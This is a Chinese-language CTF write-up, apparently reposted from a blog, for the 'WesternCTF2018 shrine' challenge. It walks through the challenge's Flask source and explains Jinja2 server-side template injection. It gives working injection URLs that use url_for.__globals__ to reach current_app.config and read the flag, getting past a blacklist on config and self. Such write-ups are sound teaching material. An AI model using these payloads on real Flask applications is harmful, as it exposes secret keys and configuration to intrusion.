[WesternCTF2018]shrine

# 介绍

模板其实就是对于传入的数据进行解析,然后生成html文件,然后在返回给浏览器进行展示,而这其中就用到了模板渲染和模板引擎 模板注入的根本原因就在于客户端向服务器传输的参数被解析,由于模板中有较多函数,所以,很多情况下模板注入可以导致远程代码执行,模板注入大概分为这几种:客户端模板注入、服务端模板注入、模板引擎注入。在本题中就是flask/jinja模板注入

0x01

拿到题目后发现给出了一段代码

import flask
import os

app = flask.Flask(__name__)

app.config['FLAG'] = os.environ.pop('FLAG')


@app.route('/')
def index():
    return open(__file__).read()


@app.route('/shrine/<path:shrine>')
def shrine(shrine):

    def safe_jinja(s):
        s = s.replace('(', '').replace(')', '')
        blacklist = ['config', 'self']
        return ''.join(['{{% set {}=None%}}'.format(c) for c in blacklist]) + s

    return flask.render_template_string(safe_jinja(shrine))


if __name__ == '__main__':
    app.run(debug=True)

我们来分析一下这段代码 首先代码中定义了两个类

0x02

@app.route('/')
def index():
    return open(__file__).read()

这个类的作用很简单,当访问/路径时就用来阅读文件内容

0x03

@app.route('/shrine/<path:shrine>')
def shrine(shrine):

    def safe_jinja(s):
        s = s.replace('(', '').replace(')', '')
        blacklist = ['config', 'self']
        return ''.join(['{{% set {}=None%}}'.format(c) for c in blacklist]) + s

    return flask.render_template_string(safe_jinja(shrine))

这个类通过flask模板返回一个值,这个值是经过处理的 执行这段代码的时候,会传入一个值给参数s,然后参数s进行替换,会将传进去的‘(’ 和 ‘)替换成’ ’ ,然后下面blacklist是黑名单,也就是说过滤了config,self关键字,如果没有过滤可以直接{{config}}即可查看所有app.config内容,但是这里不行

0x04

return ''.join(['{{% set {}=None%}}'.format(c) for c in blacklist]) + s

这段代码把黑名单的东西遍历并设为空 这里还有个知识点就是python的一些内置函数,url_for和get_flashed_messages,通过这些python的内置函数,我们可以读取config的一些信息

/shrine/{{url_for.__globals__}}

结果如下如: 在这里插入图片描述 然后我们观察一下有没有重要的有用的信息,然后发现了current_app,为什么重点关注这个呢?因为这个web是用了模板引擎的,那么我们就能想到很多模板具有注入,有客户端模板注入,服务端模板注入,模板引擎注入,所以这里我们要重点关注一下这个current_app,看看这个里边的信息有没有什么猫腻,所以接下来我们查看这个里面的config

0x05

/shrine/{{url_for.__globals__['current_app'].config}}

在这里插入图片描述 然后我们就直接看到了flag

原文地址:https://www.cnblogs.com/Jleixin/p/12988783.html